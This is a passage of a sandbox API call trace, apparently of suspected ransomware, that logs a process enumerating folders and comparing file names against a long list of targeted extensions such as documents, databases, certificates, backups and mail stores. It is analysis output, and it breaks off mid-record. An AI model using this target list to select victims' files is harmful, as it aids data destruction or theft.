lstrlenW (lpString=".ascx") returned 5 [0192.053] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0192.053] lstrlenW (lpString=".asm") returned 4 [0192.053] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0192.053] lstrlenW (lpString=".asmx") returned 5 [0192.053] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0192.053] lstrlenW (lpString=".asp") returned 4 [0192.053] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0192.053] lstrlenW (lpString=".aspx") returned 5 [0192.053] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0192.053] lstrlenW (lpString=".asr") returned 4 [0192.053] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0192.053] lstrlenW (lpString=".asx") returned 4 [0192.053] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0192.053] lstrlenW (lpString=".avi") returned 4 [0192.053] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0192.053] lstrlenW (lpString=".avs") returned 4 [0192.053] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0192.053] lstrlenW (lpString=".backup") returned 7 [0192.053] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0192.053] lstrlenW (lpString=".bak") returned 4 [0192.053] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0192.053] lstrlenW (lpString=".bay") returned 4 [0192.053] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0192.054] lstrlenW (lpString=".bd") returned 3 [0192.054] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0192.054] lstrlenW (lpString=".bin") returned 4 [0192.054] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0192.054] lstrlenW (lpString=".bmp") returned 4 [0192.054] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0192.054] lstrlenW (lpString=".bz2") returned 4 [0192.054] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.054] lstrlenW (lpString=".c") returned 2 [0192.054] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0192.054] lstrlenW (lpString=".cdr") returned 4 [0192.054] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0192.054] lstrlenW (lpString=".cer") returned 4 [0192.054] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0192.054] lstrlenW (lpString=".cf") returned 3 [0192.054] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0192.054] lstrlenW (lpString=".cfc") returned 4 [0192.054] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0192.054] lstrlenW (lpString=".cfm") returned 4 [0192.054] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0192.054] lstrlenW (lpString=".cfml") returned 5 [0192.054] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0192.054] lstrlenW (lpString=".cfu") returned 4 [0192.054] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0192.054] lstrlenW (lpString=".chm") returned 4 [0192.054] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0192.054] lstrlenW (lpString=".cin") returned 4 [0192.054] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0192.054] lstrlenW (lpString=".class") returned 6 [0192.054] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0192.055] lstrlenW (lpString=".clx") returned 4 [0192.055] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0192.055] lstrlenW (lpString=".config") returned 7 [0192.055] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0192.055] lstrlenW (lpString=".cpp") returned 4 [0192.055] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0192.055] lstrlenW (lpString=".cr2") returned 4 [0192.055] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0192.055] lstrlenW (lpString=".crt") returned 4 [0192.055] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0192.055] lstrlenW (lpString=".crw") returned 4 [0192.055] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0192.055] lstrlenW (lpString=".cs") returned 3 [0192.055] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0192.055] lstrlenW (lpString=".css") returned 4 [0192.055] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0192.055] lstrlenW (lpString=".csv") returned 4 [0192.055] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0192.055] lstrlenW (lpString=".cub") returned 4 [0192.055] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0192.055] lstrlenW (lpString=".dae") returned 4 [0192.055] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0192.055] lstrlenW (lpString=".dat") returned 4 [0192.055] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0192.055] lstrlenW (lpString=".db") returned 3 [0192.055] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0192.055] lstrlenW (lpString=".dbf") returned 4 [0192.055] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.055] lstrlenW (lpString=".dbx") returned 4 [0192.056] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0192.056] lstrlenW (lpString=".dc3") returned 4 [0192.056] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0192.056] lstrlenW (lpString=".dcm") returned 4 [0192.056] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0192.056] lstrlenW (lpString=".dcr") returned 4 [0192.056] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0192.056] lstrlenW (lpString=".der") returned 4 [0192.056] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0192.056] lstrlenW (lpString=".dib") returned 4 [0192.056] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0192.056] lstrlenW (lpString=".dic") returned 4 [0192.056] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0192.056] lstrlenW (lpString=".dif") returned 4 [0192.056] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0192.056] lstrlenW (lpString=".divx") returned 5 [0192.056] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0192.056] lstrlenW (lpString=".djvu") returned 5 [0192.056] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0192.056] lstrlenW (lpString=".dng") returned 4 [0192.056] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0192.056] lstrlenW (lpString=".doc") returned 4 [0192.056] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.056] lstrlenW (lpString=".docm") returned 5 [0192.056] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0192.056] lstrlenW (lpString=".docx") returned 5 [0192.056] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.056] lstrlenW (lpString=".dot") returned 4 [0192.056] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0192.057] lstrlenW (lpString=".dotm") returned 5 [0192.057] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0192.057] lstrlenW (lpString=".dotx") returned 5 [0192.057] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0192.057] lstrlenW (lpString=".dpx") returned 4 [0192.057] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0192.057] lstrlenW (lpString=".dqy") returned 4 [0192.057] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0192.057] lstrlenW (lpString=".dsn") returned 4 [0192.057] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0192.057] lstrlenW (lpString=".dt") returned 3 [0192.057] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0192.057] lstrlenW (lpString=".dtd") returned 4 [0192.057] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0192.057] lstrlenW (lpString=".dwg") returned 4 [0192.057] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0192.057] lstrlenW (lpString=".dwt") returned 4 [0192.057] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0192.057] lstrlenW (lpString=".dx") returned 3 [0192.057] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0192.057] lstrlenW (lpString=".dxf") returned 4 [0192.057] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0192.057] lstrlenW (lpString=".edml") returned 5 [0192.057] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0192.057] lstrlenW (lpString=".efd") returned 4 [0192.057] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0192.057] lstrlenW (lpString=".elf") returned 4 [0192.057] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0192.057] lstrlenW (lpString=".emf") returned 4 [0192.058] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0192.058] lstrlenW (lpString=".emz") returned 4 [0192.058] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0192.058] lstrlenW (lpString=".epf") returned 4 [0192.058] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0192.058] lstrlenW (lpString=".eps") returned 4 [0192.058] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0192.058] lstrlenW (lpString=".epsf") returned 5 [0192.058] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0192.058] lstrlenW (lpString=".epsp") returned 5 [0192.058] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0192.058] lstrlenW (lpString=".erf") returned 4 [0192.058] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0192.058] lstrlenW (lpString=".exr") returned 4 [0192.058] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0192.058] lstrlenW (lpString=".f4v") returned 4 [0192.058] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0192.058] lstrlenW (lpString=".fido") returned 5 [0192.058] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0192.058] lstrlenW (lpString=".flm") returned 4 [0192.058] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0192.058] lstrlenW (lpString=".flv") returned 4 [0192.058] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0192.058] lstrlenW (lpString=".frm") returned 4 [0192.058] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0192.058] lstrlenW (lpString=".fxg") returned 4 [0192.058] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0192.058] lstrlenW (lpString=".geo") returned 4 [0192.059] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0192.059] lstrlenW (lpString=".gif") returned 4 [0192.059] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0192.059] lstrlenW (lpString=".grs") returned 4 [0192.059] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0192.059] lstrlenW (lpString=".gz") returned 3 [0192.059] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0192.059] lstrlenW (lpString=".h") returned 2 [0192.059] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0192.059] lstrlenW (lpString=".hdr") returned 4 [0192.059] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0192.059] lstrlenW (lpString=".hpp") returned 4 [0192.059] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0192.059] lstrlenW (lpString=".hta") returned 4 [0192.059] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0192.059] lstrlenW (lpString=".htc") returned 4 [0192.059] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0192.059] lstrlenW (lpString=".htm") returned 4 [0192.059] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0192.059] lstrlenW (lpString=".html") returned 5 [0192.059] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0192.059] lstrlenW (lpString=".icb") returned 4 [0192.059] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0192.059] lstrlenW (lpString=".ics") returned 4 [0192.059] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0192.059] lstrlenW (lpString=".iff") returned 4 [0192.059] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0192.059] lstrlenW (lpString=".inc") returned 4 [0192.059] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0192.060] lstrlenW (lpString=".indd") returned 5 [0192.060] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0192.060] lstrlenW (lpString=".ini") returned 4 [0192.060] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0192.060] lstrlenW (lpString=".iqy") returned 4 [0192.060] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0192.060] lstrlenW (lpString=".j2c") returned 4 [0192.060] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0192.060] lstrlenW (lpString=".j2k") returned 4 [0192.060] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0192.060] lstrlenW (lpString=".java") returned 5 [0192.060] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0192.060] lstrlenW (lpString=".jp2") returned 4 [0192.060] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0192.060] lstrlenW (lpString=".jpc") returned 4 [0192.060] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0192.060] lstrlenW (lpString=".jpe") returned 4 [0192.060] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0192.060] lstrlenW (lpString=".jpeg") returned 5 [0192.060] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0192.060] lstrlenW (lpString=".jpf") returned 4 [0192.060] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0192.060] lstrlenW (lpString=".jpg") returned 4 [0192.060] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.060] lstrlenW (lpString=".jpx") returned 4 [0192.060] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0192.060] lstrlenW (lpString=".js") returned 3 [0192.060] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0192.060] lstrlenW (lpString=".jsf") returned 4 [0192.061] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0192.061] lstrlenW (lpString=".json") returned 5 [0192.061] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0192.061] lstrlenW (lpString=".jsp") returned 4 [0192.061] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0192.061] lstrlenW (lpString=".kdc") returned 4 [0192.061] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0192.061] lstrlenW (lpString=".kmz") returned 4 [0192.061] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0192.061] lstrlenW (lpString=".kwm") returned 4 [0192.061] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0192.061] lstrlenW (lpString=".lasso") returned 6 [0192.061] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0192.061] lstrlenW (lpString=".lbi") returned 4 [0192.061] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0192.061] lstrlenW (lpString=".lgf") returned 4 [0192.061] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0192.061] lstrlenW (lpString=".lgp") returned 4 [0192.061] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0192.061] lstrlenW (lpString=".log") returned 4 [0192.061] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0192.061] lstrlenW (lpString=".m1v") returned 4 [0192.061] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0192.061] lstrlenW (lpString=".m4a") returned 4 [0192.061] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0192.061] lstrlenW (lpString=".m4v") returned 4 [0192.061] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0192.061] lstrlenW (lpString=".max") returned 4 [0192.062] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0192.062] lstrlenW (lpString=".md") returned 3 [0192.062] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0192.062] lstrlenW (lpString=".mda") returned 4 [0192.062] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0192.062] lstrlenW (lpString=".mdb") returned 4 [0192.062] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0192.062] lstrlenW (lpString=".mde") returned 4 [0192.062] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0192.062] lstrlenW (lpString=".mdf") returned 4 [0192.062] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0192.062] lstrlenW (lpString=".mdw") returned 4 [0192.062] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0192.062] lstrlenW (lpString=".mef") returned 4 [0192.062] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0192.062] lstrlenW (lpString=".mft") returned 4 [0192.062] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0192.062] lstrlenW (lpString=".mfw") returned 4 [0192.062] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0192.062] lstrlenW (lpString=".mht") returned 4 [0192.062] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0192.062] lstrlenW (lpString=".mhtml") returned 6 [0192.062] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0192.062] lstrlenW (lpString=".mka") returned 4 [0192.062] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0192.062] lstrlenW (lpString=".mkidx") returned 6 [0192.062] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0192.062] lstrlenW (lpString=".mkv") returned 4 [0192.062] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0192.062] lstrlenW (lpString=".mos") returned 4 [0192.063] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0192.063] lstrlenW (lpString=".mov") returned 4 [0192.063] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0192.063] lstrlenW (lpString=".mp3") returned 4 [0192.063] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0192.063] lstrlenW (lpString=".mp4") returned 4 [0192.063] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0192.063] lstrlenW (lpString=".mpeg") returned 5 [0192.063] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0192.063] lstrlenW (lpString=".mpg") returned 4 [0192.063] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0192.063] lstrlenW (lpString=".mpv") returned 4 [0192.063] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0192.063] lstrlenW (lpString=".mrw") returned 4 [0192.063] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0192.063] lstrlenW (lpString=".msg") returned 4 [0192.063] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0192.063] lstrlenW (lpString=".mxl") returned 4 [0192.063] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0192.063] lstrlenW (lpString=".myd") returned 4 [0192.063] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0192.063] lstrlenW (lpString=".myi") returned 4 [0192.063] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0192.063] lstrlenW (lpString=".nef") returned 4 [0192.063] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0192.063] lstrlenW (lpString=".nrw") returned 4 [0192.063] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0192.063] lstrlenW (lpString=".obj") returned 4 [0192.063] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0192.064] lstrlenW (lpString=".odb") returned 4 [0192.064] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0192.064] lstrlenW (lpString=".odc") returned 4 [0192.064] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0192.064] lstrlenW (lpString=".odm") returned 4 [0192.064] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0192.064] lstrlenW (lpString=".odp") returned 4 [0192.064] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0192.064] lstrlenW (lpString=".ods") returned 4 [0192.064] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0192.064] lstrlenW (lpString=".oft") returned 4 [0192.064] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0192.064] lstrlenW (lpString=".one") returned 4 [0192.064] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0192.064] lstrlenW (lpString=".onepkg") returned 7 [0192.064] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0192.064] lstrlenW (lpString=".onetoc2") returned 8 [0192.064] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0192.064] lstrlenW (lpString=".opt") returned 4 [0192.064] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0192.064] lstrlenW (lpString=".oqy") returned 4 [0192.064] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0192.064] lstrlenW (lpString=".orf") returned 4 [0192.064] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0192.064] lstrlenW (lpString=".p12") returned 4 [0192.064] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0192.064] lstrlenW (lpString=".p7b") returned 4 [0192.064] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0192.064] lstrlenW (lpString=".p7c") returned 4 [0192.065] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0192.065] lstrlenW (lpString=".pam") returned 4 [0192.065] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0192.065] lstrlenW (lpString=".pbm") returned 4 [0192.065] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0192.065] lstrlenW (lpString=".pct") returned 4 [0192.065] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0192.065] lstrlenW (lpString=".pcx") returned 4 [0192.065] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0192.065] lstrlenW (lpString=".pdd") returned 4 [0192.159] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0192.159] lstrlenW (lpString=".pdf") returned 4 [0192.159] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.159] lstrlenW (lpString=".pdp") returned 4 [0192.159] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0192.159] lstrlenW (lpString=".pef") returned 4 [0192.159] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0192.159] lstrlenW (lpString=".pem") returned 4 [0192.159] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0192.160] lstrlenW (lpString=".pff") returned 4 [0192.160] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0192.160] lstrlenW (lpString=".pfm") returned 4 [0192.160] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0192.160] lstrlenW (lpString=".pfx") returned 4 [0192.160] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0192.160] lstrlenW (lpString=".pgm") returned 4 [0192.160] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0192.160] lstrlenW (lpString=".php") returned 4 [0192.160] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0192.160] lstrlenW (lpString=".php3") returned 5 [0192.160] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0192.160] lstrlenW (lpString=".php4") returned 5 [0192.160] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0192.160] lstrlenW (lpString=".php5") returned 5 [0192.160] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0192.160] lstrlenW (lpString=".phtml") returned 6 [0192.160] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0192.160] lstrlenW (lpString=".pict") returned 5 [0192.160] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0192.160] lstrlenW (lpString=".pl") returned 3 [0192.160] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0192.160] lstrlenW (lpString=".pls") returned 4 [0192.160] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0192.160] lstrlenW (lpString=".pm") returned 3 [0192.160] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0192.160] lstrlenW (lpString=".png") returned 4 [0192.160] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0192.160] lstrlenW (lpString=".pnm") returned 4 [0192.161] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0192.161] lstrlenW (lpString=".pot") returned 4 [0192.161] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0192.161] lstrlenW (lpString=".potm") returned 5 [0192.161] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0192.161] lstrlenW (lpString=".potx") returned 5 [0192.161] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0192.161] lstrlenW (lpString=".ppa") returned 4 [0192.161] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0192.161] lstrlenW (lpString=".ppam") returned 5 [0192.161] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0192.161] lstrlenW (lpString=".ppm") returned 4 [0192.161] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0192.161] lstrlenW (lpString=".pps") returned 4 [0192.161] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0192.161] lstrlenW (lpString=".ppsm") returned 5 [0192.161] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0192.161] lstrlenW (lpString=".ppt") returned 4 [0192.161] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.161] lstrlenW (lpString=".pptm") returned 5 [0192.161] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0192.161] lstrlenW (lpString=".pptx") returned 5 [0192.161] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0192.161] lstrlenW (lpString=".prn") returned 4 [0192.161] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0192.161] lstrlenW (lpString=".ps") returned 3 [0192.161] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0192.161] lstrlenW (lpString=".psb") returned 4 [0192.162] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0192.162] lstrlenW (lpString=".psd") returned 4 [0192.162] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0192.162] lstrlenW (lpString=".pst") returned 4 [0192.162] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0192.162] lstrlenW (lpString=".ptx") returned 4 [0192.162] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0192.162] lstrlenW (lpString=".pub") returned 4 [0192.162] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0192.162] lstrlenW (lpString=".pwm") returned 4 [0192.162] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0192.162] lstrlenW (lpString=".pxr") returned 4 [0192.162] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0192.162] lstrlenW (lpString=".py") returned 3 [0192.162] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0192.162] lstrlenW (lpString=".qt") returned 3 [0192.162] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0192.162] lstrlenW (lpString=".r3d") returned 4 [0192.162] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0192.162] lstrlenW (lpString=".raf") returned 4 [0192.162] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0192.162] lstrlenW (lpString=".rar") returned 4 [0192.162] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.163] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0192.163] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0192.164] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.164] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, 